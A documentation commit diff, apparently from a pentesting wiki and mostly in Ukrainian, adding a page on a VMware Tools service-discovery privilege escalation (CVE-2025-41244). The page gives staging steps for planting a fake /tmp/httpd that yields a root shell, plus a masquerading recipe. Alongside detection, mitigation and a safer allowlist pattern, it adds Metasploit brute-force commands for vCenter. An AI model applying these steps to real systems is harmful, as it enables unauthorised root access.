Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/l

src/SUMMARY.md

@@ -110,6 +110,7 @@
 - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
 - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
   - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
+  - [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md)
   - [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
   - [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
   - [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)

src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md

@@ -0,0 +1,146 @@
+# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Ця техніка зловживає пайплайнами виявлення сервісів, керованими regex, які розбирають командні рядки запущених процесів, щоб визначити версії сервісів, а потім запускають кандидатний бінарний файл з прапорцем "version". Коли дозволяючі шаблони приймають ненадійні, керовані атакуючим шляхи (наприклад, /tmp/httpd), привілейований колектор виконує довільний бінарний файл з ненадійного розташування, що призводить до локального підвищення привілеїв. NVISO задокументувала це в VMware Tools/Aria Operations Service Discovery як CVE-2025-41244.
+
+- Вплив: локальне підвищення привілеїв до root (або до привілейованого облікового запису для виявлення)
+- Причина: Untrusted Search Path (CWE-426) + надмірно широка відповідність regex командних рядків процесів
+- Затронуті: open-vm-tools/VMware Tools на Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
+
+## Як працює виявлення сервісів VMware (на високому рівні)
+
+- Credential-based (legacy): Aria виконує скрипти виявлення всередині гостьової ОС через VMware Tools, використовуючи налаштовані привілейовані облікові дані.
+- Credential-less (modern): Логіка виявлення працює в межах VMware Tools, які вже мають привілеї в гостьовій системі.
+
+Обидва режими в кінцевому підсумку виконують shell логіку, яка сканує процеси з прослуховуючими сокетами, витягує відповідний шлях команди за допомогою regex і виконує перший токен argv з прапорцем версії.
+
+## Root cause and vulnerable pattern (open-vm-tools)
+
+В open-vm-tools скрипт плагіна serviceDiscovery get-versions.sh знаходить кандидатні бінарні файли за допомогою широких регулярних виразів та виконує перший токен без будь-якої перевірки довіреного шляху:
+```bash
+get_version() {
+PATTERN=$1
+VERSION_OPTION=$2
+for p in $space_separated_pids
+do
+COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
+[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND
+done
+}
+```
+Викликається з дозволяючими шаблонами, що містять \S (непробільні символи), які з легкістю відповідатимуть не-системним шляхам у розташуваннях, доступних для запису користувачем:
+```bash
+get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
+get_version "/usr/(bin|sbin)/apache\S*" -v
+get_version "/\S+/mysqld($|\s)" -V
+get_version "\.?/\S*nginx($|\s)" -v
+get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
+get_version "/\S+/dataserver($|\s)" -v
+```
+- Витяг відбувається за допомогою grep -Eo і бере перший токен: ${COMMAND%%[[:space:]]*}
+- Немає whitelist/allowlist довірених системних шляхів; будь-який виявлений listener з відповідною назвою виконується з -v/--version
+
+This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component.
+
+## Exploitation (both credential-less and credential-based modes)
+
+Передумови
+- Ви можете запустити непривілейований процес, який відкриває прослуховувальний сокет на гості.
+- Завдання виявлення увімкнено і запускається періодично (історично ~5 хвилин).
+
+Кроки
+1) Розмістіть двійник у шляху, що відповідає одному з дозволяючих регулярних виразів, наприклад /tmp/httpd або ./nginx
+2) Запустіть його від імені користувача з низькими привілеями і переконайтеся, що він відкриває прослуховувальний сокет
+3) Зачекайте цикл виявлення; привілейований колектор автоматично виконає: /tmp/httpd -v (або подібне), запустивши вашу програму як root
+
+Мінімальна демонстрація (за підходом NVISO’s)
+```bash
+# Build any small helper that:
+#  - default mode: opens a dummy TCP listener
+#  - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i)
+# Example staging and trigger
+cp your_helper /tmp/httpd
+chmod +x /tmp/httpd
+/tmp/httpd          # run as low-priv user and wait for the cycle
+# After the next cycle, expect a root shell or your privileged action
+```
+Типовий ланцюг процесів
+- З обліковими даними: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
+- Без облікових даних: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
+
+Артефакти (з обліковими даними)
+Відновлені SDMP wrapper scripts під /tmp/VMware-SDMP-Scripts-{UUID}/ можуть показувати пряме виконання зловмисного шляху:
+```bash
+/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
+```
+## Узагальнення техніки: regex-driven discovery abuse (portable pattern)
+
+Багато агентів і систем моніторингу реалізують виявлення версій/сервісів шляхом:
+- Перерахування процесів з прослуховуючими сокетами
+- Пошуку в argv/command lines за допомогою permissive regex (наприклад, патерни, що містять \S)
+- Запуску знайденого шляху з безпечним прапорцем типу -v, --version, -V, -h
+
+Якщо regex приймає ненадійні шляхи і шлях виконується з привілейованого контексту, отримуємо CWE-426 Untrusted Search Path execution.
+
+Abuse recipe
+- Назвіть свій бінарний файл як звичні демони, які regex ймовірно знайде: httpd, nginx, mysqld, dataserver
+- Розмістіть його в записуваному каталозі: /tmp/httpd, ./nginx
+- Переконайтесь, що воно співпадає з regex і відкриває порт для виявлення
+- Зачекайте на плановий колектор; отримаєте автоматичний привілейований виклик <path> -v
+
+Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth.
+
+Reusable privileged I/O relay trick
+- Побудуйте допоміжну програму так, щоб при виклику з привілеями (-v/--version) вона підключалась до відомої точки зустрічі (наприклад, a Linux abstract UNIX socket like @cve) і мостила stdio до /bin/sh -i. Це уникає артефактів на диску і працює в багатьох середовищах, де той самий бінарний файл повторно викликається з прапорцем.
+
+## Detection and DFIR guidance
+
+Hunting queries
+- Незвичні дочірні процеси vmtoolsd або get-versions.sh, такі як /tmp/httpd, ./nginx, /tmp/mysqld
+- Будь-яке виконання discovery-скриптами абсолютних шляхів поза системними префіксами (шукайте пробіли в розширеннях ${COMMAND%%...})
+- ps -ef --forest для візуалізації дерев спадкоємності: vmtoolsd -> get-versions.sh -> <non-system path>
+
+On Aria SDMP (credential-based)
+- Перевірте /tmp/VMware-SDMP-Scripts-{UUID}/ на предмет тимчасових скриптів та артефактів stdout/stderr, що показують виконання шляхів нападника
+
+Policy/telemetry
+- Сповіщення при виконанні привілейованих колекторів з не-системних префіксів: ^/(tmp|home|var/tmp|dev/shm)/
+- Моніторинг цілісності файлів get-versions.sh та VMware Tools plugins
+
+## Mitigations
+
+- Patch: Apply Broadcom/VMware updates for CVE-2025-41244 (Tools and Aria Operations SDMP)
+- Вимкніть або обмежте discovery без облікових даних там, де можливо
+- Перевіряйте довірені шляхи: обмежте виконання дозволеними директоріями (/usr/sbin, /usr/bin, /sbin, /bin) і лише точними відомими бінарними файлами
+- Уникайте permissive regex з \S; віддавайте перевагу анкерованим, явним абсолютним шляхам і точним іменам команд
+- Знижуйте привілеї для discovery helper-ів де можливо; використовуйте sandbox (seccomp/AppArmor) щоб зменшити вплив
+- Моніторьте та сповіщайте про виконання vmtoolsd/get-versions.sh не-системних шляхів
+
+## Notes for defenders and implementers
+
+Більш безпечний шаблон для пошуку і виконання
+```bash
+# Bad: permissive regex and blind exec
+COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
+[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v
+
+# Good: strict allowlist + path checks
+candidate=$(get_command_line "$pid" | awk '{print $1}')
+case "$candidate" in
+/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2)
+"$candidate" -v 2>&1 ;;
+*)
+: # ignore non-allowlisted paths
+;;
+esac
+```
+## Джерела
+
+- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
+- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
+- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh)
+- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
+- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)
+
+{{#include ../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md

@@ -1,16 +1,28 @@
+# VMware ESX / vCenter Pentesting
+
 {{#include ../../banners/hacktricks-training.md}}
 
 
-# Перерахування
+## Перерахування
 ```bash
 nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
 msf> use auxiliary/scanner/vmware/esx_fingerprint
 msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
 ```
-# Брутфорс
+## Bruteforce
 ```bash
 msf> auxiliary/scanner/vmware/vmware_http_login
 ```
-Якщо ви знайдете дійсні облікові дані, ви можете використовувати більше модулів сканера Metasploit для отримання інформації. 
+Якщо ви знайдете дійсні облікові дані, ви можете використати більше metasploit scanner modules для отримання інформації.
+
+
+
+### Див. також
+
+Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244):
+
+{{#ref}}
+../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
+{{#endref}}
 
 {{#include ../../banners/hacktricks-training.md}}